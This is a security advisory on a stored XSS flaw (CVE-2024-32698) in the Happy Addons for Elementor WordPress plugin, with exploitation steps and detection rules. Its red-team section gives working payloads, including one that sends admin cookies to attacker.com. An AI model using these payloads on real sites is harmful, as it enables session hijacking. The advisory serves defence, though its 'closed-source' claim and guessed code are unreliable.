CVE-2024-32698

Executive Summary

CVE-2024-32698 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Happy Addons for Elementor WordPress plugin, developed by Leevio (HappyMonster). This plugin extends the Elementor page builder with additional widgets and features. The vulnerability affects all versions up to and including 3.10.4.

The flaw stems from improper neutralization of user-supplied input during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads into widget settings or content fields. When an administrator or other user views the compromised page, the payload executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

Given the widespread use of Elementor and its add-ons, this vulnerability poses a significant risk to WordPress sites. The CVSS score of 6.5 (Medium) reflects the need for authenticated access but the potential for high impact due to the trust placed in page builder content.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is real: site owners who automatically update plugins may still be vulnerable if the vendor does not release a patch. The plugin's codebase is closed-source, making independent verification difficult. Administrators should monitor the plugin's changelog and consider alternative add-ons if a patch is not forthcoming.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply needs to submit a crafted payload.
• Privileges Required (PR): Low (L) – The attacker must have at least a Contributor-level account on the WordPress site.
• User Interaction (UI): Required (R) – The victim (e.g., an admin) must visit the compromised page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., the admin's browser session).
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation and lateral movement within the WordPress admin panel is significant.

Deep Dive & Mechanics

The vulnerability exists in the way Happy Addons for Elementor processes and renders widget attributes, particularly those that accept HTML or JavaScript. The plugin fails to sanitize or escape user input before outputting it in the page's HTML.

Root Cause: The plugin uses echo or wp_kses_post (which allows some HTML) without proper context-aware escaping for JavaScript event handlers or href attributes. For example, a widget that accepts a URL might not sanitize javascript: URIs.

Attack Vector:

1. An attacker with Contributor-level access creates or edits a page/post using Elementor.
2. The attacker adds a Happy Addons widget (e.g., "Image Carousel", "Team Member", "Testimonial").
3. In a text field (e.g., "Link URL", "Button Text", "Tooltip"), the attacker injects a payload like:

   " onmouseover="alert('XSS')"
   

   or

   javascript:alert(document.cookie)
   

4. The plugin stores this payload in the post meta without proper sanitization.
5. When an administrator or other user views the page, the payload executes in their browser.

Impact: The attacker can steal session cookies, perform actions on behalf of the admin (e.g., create new admin users), deface the site, or redirect visitors to malicious sites.

Vulnerable vs. Patched Code

Since no official patch is available, we can only infer the fix. The vulnerable code likely resembles:

Vulnerable (hypothetical):

// In a widget render method
$link_url = $settings['link_url'];
echo '<a href="' . $link_url . '">Click here</a>';

Patched (hypothetical):

$link_url = esc_url( $settings['link_url'] );
echo '<a href="' . $link_url . '">Click here</a>';

The fix would involve using WordPress's built-in escaping functions like esc_url(), esc_attr(), esc_html(), or wp_kses() with a restrictive allowlist.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Happy Addons for Elementor <= 3.10.4 installed and activated.
• A Contributor-level account (or higher).

Steps:

1. Log in as a Contributor.
2. Create a new page or edit an existing one with Elementor.
3. Add a Happy Addons widget that accepts a URL or text input (e.g., "Button" widget).
4. In the "Link" field, enter:

   javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
   

5. Alternatively, use an event handler:

   " onfocus="alert(1)" autofocus="
   

6. Publish the page.
7. Send the page link to an administrator (e.g., via comment or email).
8. When the admin views the page, the payload executes.

Proof-of-Concept (PoC) Payload:

" onmouseover="alert('XSS')" autofocus="

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual changes to post content, especially in Elementor's _elementor_data meta field.
• Look for javascript: URIs or event handlers in widget settings.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Prevention:

• Disable the Happy Addons plugin until a patch is released.
• Restrict Contributor-level accounts from publishing content (use "Pending Review" workflow).
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin (e.g., Wordfence) with XSS filtering.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified wp_postmeta entries containing _elementor_data with suspicious JavaScript.
• Presence of javascript: URIs in post_content or post_excerpt.

Network IOCs:

• Outbound requests to attacker-controlled domains from the WordPress admin panel.
• HTTP requests containing document.cookie in the query string.

Log IOCs:

• WordPress debug log entries showing wp_kses or esc_url failures.
• Apache/Nginx access logs with javascript: in the URI.

Detection Engineering

YARA Rule

rule CVE_2024_32698_Happy_Addons_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-32698 in Happy Addons for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32698"
    strings:
        $payload1 = /javascript\s*:/ nocase
        $payload2 = /on\w+\s*=\s*['"]/ nocase
        $payload3 = /<script\b[^>]*>/ nocase
        $payload4 = /alert\(/ nocase
    condition:
        any of ($payload*) and filesize < 10MB
}

Sigma Rule

title: CVE-2024-32698 Happy Addons XSS Payload in Post Meta
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress post meta for Happy Addons
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: '_elementor_data'
        meta_value|contains:
            - 'javascript:'
            - 'onmouseover'
            - 'onfocus'
            - 'onclick'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom code (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-32698 Happy Addons XSS Payload Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete Happy Addons for Elementor until a patched version is released.
2. Audit existing content – Scan all pages and posts for malicious payloads in Elementor data.
3. Change admin passwords – If compromise is suspected, force password resets for all admin users.

Long-Term Fixes:

• Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block XSS patterns.
• Monitor the vendor's website for a patched version (>= 3.10.5).
• Consider switching to a more actively maintained Elementor add-on.

Workaround:

• Restrict Contributor roles from publishing content. Use a plugin like "User Role Editor" to remove the publish_posts capability for Contributors.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2024-32698